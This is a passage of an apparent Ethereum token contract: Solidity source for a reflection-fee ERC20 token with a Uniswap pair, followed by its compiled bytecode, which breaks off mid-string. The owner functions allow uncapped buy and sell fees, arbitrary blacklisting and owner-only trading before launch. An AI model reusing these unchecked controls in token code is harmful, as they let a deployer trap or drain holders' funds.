uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
preTrader[owner()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function allowPreTrading(address account, bool allowed) public onlyOwner {
require(preTrader[account] != allowed, "TOKEN: Already enabled.");
preTrader[account] = allowed;
}
}
|
0x6080604052600436106101e2576000357c010000000000000000000000000000000000000000000000000000000090048063715018a61161011457806398a5c315116100b2578063bfd7928411610081578063bfd7928414610643578063c3c8cd8014610680578063dd62ed3e14610697578063ea1644d5146106d4576101e9565b806398a5c31514610577578063a2a957bb146105a0578063a9059cbb146105c9578063bdd795ef14610606576101e9565b80638da5cb5b116100ee5780638da5cb5b146104cd5780638f70ccf7146104f85780638f9a55c01461052157806395d89b411461054c576101e9565b8063715018a61461046257806374010ece146104795780637d1db4a5146104a2576101e9565b80632fd689e3116101815780636b9990531161015b5780636b999053146103bc5780636d8aa8f8146103e55780636fc3eaec1461040e57806370a0823114610425576101e9565b80632fd689e31461033b578063313ce5671461036657806349bd5a5e14610391576101e9565b80631694505e116101bd5780631694505e1461027f57806318160ddd146102aa57806323b872dd146102d55780632f9c456914610312576101e9565b8062b8cf2a146101ee57806306fdde0314610217578063095ea7b314610242576101e9565b366101e957005b600080fd5b3480156101fa57600080fd5b5061021560048036038101906102109190612d70565b6106fd565b005b34801561022357600080fd5b5061022c61084d565b60405161023991906131b9565b60405180910390f35b34801561024e57600080fd5b5061026960048036038101906102649190612d34565b61088a565b6040516102769190613183565b60405180910390f35b34801561028b57600080fd5b506102946108a8565b6040516102a1919061319e565b60405180910390f35b3480156102b657600080fd5b506102bf6108ce565b6040516102cc919061339b565b60405180910390f35b3480156102e157600080fd5b506102fc60048036038101906102f79190612ca9565b6108e0565b6040516103099190613183565b60405180910390f35b34801561031e57600080fd5b5061033960048036038101906103349190612cf8565b6109b9565b005b34801561034757600080fd5b50610350610b3c565b60405161035d919061339b565b60405180910390f35b34801561037257600080fd5b5061037b610b42565b6040516103889190613410565b60405180910390f35b34801561039d57600080fd5b506103a6610b4b565b6040516103b39190613168565b60405180910390f35b3480156103c857600080fd5b506103e360048036038101906103de9190612c1b565b610b71565b005b3480156103f157600080fd5b5061040c60048036038101906104079190612db1565b610c61565b005b34801561041a57600080fd5b50610423610d12565b005b34801561043157600080fd5b5061044c60048036038101906104479190612c1b565b610dfa565b604051610459919061339b565b60405180910390f35b34801561046e57600080fd5b50610477610e4b565b005b34801561048557600080fd5b506104a0600480360381019061049b9190612dda565b610f9e565b005b3480156104ae57600080fd5b506104b761103d565b6040516104c4919061339b565b60405180910390f35b3480156104d957600080fd5b506104e2611043565b6040516104ef9190613168565b60405180910390f35b34801561050457600080fd5b5061051f600480360381019061051a9190612db1565b61106c565b005b34801561052d57600080fd5b5061053661111e565b604051610543919061339b565b60405180910390f35b34801561055857600080fd5b50610561611124565b60405161056e91906131b9565b60405180910390f35b34801561058357600080fd5b5061059e60048036038101906105999190612dda565b611161565b005b3480156105ac57600080fd5b506105c760048036038101906105c29190612e03565b611200565b005b3480156105d557600080fd5b506105f060048036038101906105eb9190612d34565b6112b7565b6040516105fd9190613183565b60405180910390f35b34801561061257600080fd5b5061062d60048036038101906106289190612c1b565b6112d5565b60405161063a9190613183565b60405180910390f35b34801561064f57600080fd5b5061066a60048036038101906106659190612c1b565b6112f5565b6040516106779190613183565b60405180910390f35b34801561068c57600080fd5b50610695611315565b005b3480156106a357600080fd5b506106be60048036038101906106b99190612c6d565b6113ee565b6040516106cb919061339b565b60405180910390f35b3480156106e057600080fd5b506106fb60048036038101906106f69190612dda565b611475565b005b610705611514565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610792576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610789906132fb565b60405180910390fd5b60005b8151811015610849576001601060008484815181106107dd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610841906136d5565b915050610795565b5050565b60606040518060400160405280600b81526020017f53414d555241494a41434b000000000000000000000000000000000000000000815250905090565b600061089e610897611514565b848461151c565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600069152d02c7e14af6800000905090565b60006108ed8484846116e7565b6109ae846108f9611514565b6109a985604051806060016040528060288152602001613bbc60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061095f611514565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f059092919063ffffffff16565b61151c565b600190509392505050565b6109c1611514565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a45906132fb565b60405180910390fd5b801515601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610ae1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad8906132bb565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b79611514565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfd906132fb565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610c69611514565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ced906132fb565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d53611514565b73ffffffffffffffffffffffffffffffffffffffff161480610dc95750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610db1611514565b73ffffffffffffffffffffffffffffffffffffffff16145b610dd257600080fd5b60003073ffffffffffffffffffffffffffffffffffffffff16319050610df781611f69565b50565b6000610e44600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612064565b9050919050565b610e53611514565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ee0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed7906132fb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610fa6611514565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611033576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102a906132fb565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611074611514565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611101576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f8906132fb565b60405180910390fd5b80601660146101000a81548160ff02191690831515021790555050565b60185481565b60606040518060400160405280600581526020017f534a41434b000000000000000000000000000000000000000000000000000000815250905090565b611169611514565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ed906132fb565b60405180910390fd5b8060198190555050565b611208611514565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611295576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128c906132fb565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006112cb6112c4611514565b84846116e7565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b60106020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611356611514565b73ffffffffffffffffffffffffffffffffffffffff1614806113cc5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113b4611514565b73ffffffffffffffffffffffffffffffffffffffff16145b6113d557600080fd5b60006113e030610dfa565b90506113eb816120d2565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61147d611514565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461150a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611501906132fb565b60405180910390fd5b8060188190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561158c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115839061337b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f39061325b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116da919061339b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611757576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174e9061333b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156117c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117be906131db565b60405180910390fd5b6000811161180a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118019061331b565b60405180910390fd5b611812611043565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118805750611850611043565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0457601660149054906101000a900460ff1661192657601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191c906131fb565b60405180910390fd5b5b60175481111561196b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119629061323b565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a0f5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611a4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a459061327b565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611afb5760185481611ab084610dfa565b611aba91906134d1565b10611afa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af19061335b565b60405180910390fd5b5b6000611b0630610dfa565b9050600060195482101590506017548210611b215760175491505b808015611b3b5750601660159054906101000a900460ff16155b8015611b955750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611bab575060168054906101000a900460ff165b15611c0157611bb9826120d2565b60003073ffffffffffffffffffffffffffffffffffffffff163190506000811115611bff57611bfe3073ffffffffffffffffffffffffffffffffffffffff1631611f69565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611cab5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611d5e5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611d5d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611d6c5760009050611ef3565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611e175750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e2f57600854600c81905550600954600d819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611eda5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611ef257600a54600c81905550600b54600d819055505b5b611eff84848484612404565b50505050565b6000838311158290611f4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4491906131b9565b60405180910390fd5b5060008385611f5c91906135b2565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611fb960028461243190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611fe4573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61203560028461243190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612060573d6000803e3d6000fd5b5050565b60006006548211156120ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a29061321b565b60405180910390fd5b60006120b561247b565b90506120ca818461243190919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612130577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561215e5781602001602082028036833780820191505090505b509050308160008151811061219c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160206040518083038186803b15801561225a57600080fd5b505afa15801561226e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122929190612c44565b816001815181106122cc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061233330601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461151c565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016123b39594939291906133b6565b600060405180830381600087803b1580156123cd57600080fd5b505af11580156123e1573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612412576124116124a6565b5b61241d8484846124e9565b8061242b5761242a6126b4565b5b50505050565b600061247383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506126c8565b905092915050565b600080600061248861272b565b9150915061249f818361243190919063ffffffff16565b9250505090565b6000600c541480156124ba57506000600d54145b156124c4576124e7565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806124fb87612790565b95509550955095509550955061255986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127f890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125ee85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461284290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263a816128a0565b612644848361295d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126a1919061339b565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000808311829061270f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270691906131b9565b60405180910390fd5b506000838561271e9190613527565b9050809150509392505050565b60008060006006549050600069152d02c7e14af6800000905061276369152d02c7e14af680000060065461243190919063ffffffff16565b8210156127835760065469152d02c7e14af680000093509350505061278c565b81819350935050505b9091565b60008060008060008060008060006127ad8a600c54600d54612997565b92509250925060006127bd61247b565b905060008060006127d08e878787612a2d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061283a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611f05565b905092915050565b600080828461285191906134d1565b905083811015612896576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161288d9061329b565b60405180910390fd5b8091505092915050565b60006128aa61247b565b905060006128c18284612ab690919063ffffffff16565b905061291581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461284290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612972826006546127f890919063ffffffff16565b60068190555061298d8160075461284290919063ffffffff16565b6007819055505050565b6000806000806129c360646129b5888a612ab690919063ffffffff16565b61243190919063ffffffff16565b905060006129ed60646129df888b612ab690919063ffffffff16565b61243190919063ffffffff16565b90506000612a1682612a08858c6127f890919063ffffffff16565b6127f890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a468589612ab690919063ffffffff16565b90506000612a5d8689612ab690919063ffffffff16565b90506000612a748789612ab690919063ffffffff16565b90506000612a9d82612a8f85876127f890919063ffffffff16565b6127f890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612ac95760009050612b2b565b60008284612ad79190613558565b9050828482612ae69190613527565b14612b26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b1d906132db565b60405180910390fd5b809150505b92915050565b6000612b44612b3f84613450565b61342b565b90508083825260208201905082856020860282011115612b6357600080fd5b60005b85811015612b935781612b798882612b9d565b845260208401935060208301925050600181019050612b66565b5050509392505050565b600081359050612bac81613b76565b92915050565b600081519050612bc181613b76565b92915050565b600082601f830112612bd857600080fd5b8135612be8848260208601612b31565b91505092915050565b600081359050612c0081613b8d565b92915050565b600081359050612c1581613ba4565b92915050565b600060208284031215612c2d57600080fd5b6000612c3b84828501612b9d565b91505092915050565b600060208284031215612c5657600080fd5b6000612c6484828501612bb2565b91505092915050565b60008060408385031215612c8057600080fd5b6000612c8e85828601612b9d565b9250506020612c9f85828601612b9d565b9150509250929050565b600080600060608486031215612cbe57600080fd5b6000612ccc86828701612b9d565b9350506020612cdd86828701612b9d565b9250506040612cee86828701612c06565b9150509250925092565b60008060408385031215612d0b57600080fd5b6000612d1985828601612b9d565b9250506020612d2a85828601612bf1565b9150509250929050565b60008060408385031215612d4757600080fd5b6000612d5585828601612b9d565b9250506020612d6685828601612c06565b9150509250929050565b600060208284031215612d8257600080fd5b600082013567ffffffffffffffff811115612d9c57600080fd5b612da884828501612bc7565b91505092915050565b600060208284031215612dc357600080fd5b6000612dd184828501612bf1565b91505092915050565b600060208284031215612dec57600080fd5b6000612dfa84828501612c06565b91505092915050565b60008060008060808587031215612e1957600080fd5b6000612e2787828801612c06565b9450506020612e3887828801612c06565b9350506040612e4987828801612c06565b9250506060612e5a87828801612c06565b91505092959194509250565b6000612e728383612e7e565b60208301905092915050565b612e87816135e6565b82525050565b612e96816135e6565b82525050565b6000612ea78261348c565b612eb181856134af565b9350612ebc8361347c565b8060005b83811015612eed578151612ed48882612e66565b9750612edf836134a2565b925050600181019050612ec0565b5085935050505092915050565b612f03816135f8565b82525050565b612f128161363b565b82525050565b612f218161365f565b82525050565b6000612f3282613497565b612f3c81856134c0565b9350612f4c818560208601613671565b612f55816137ab565b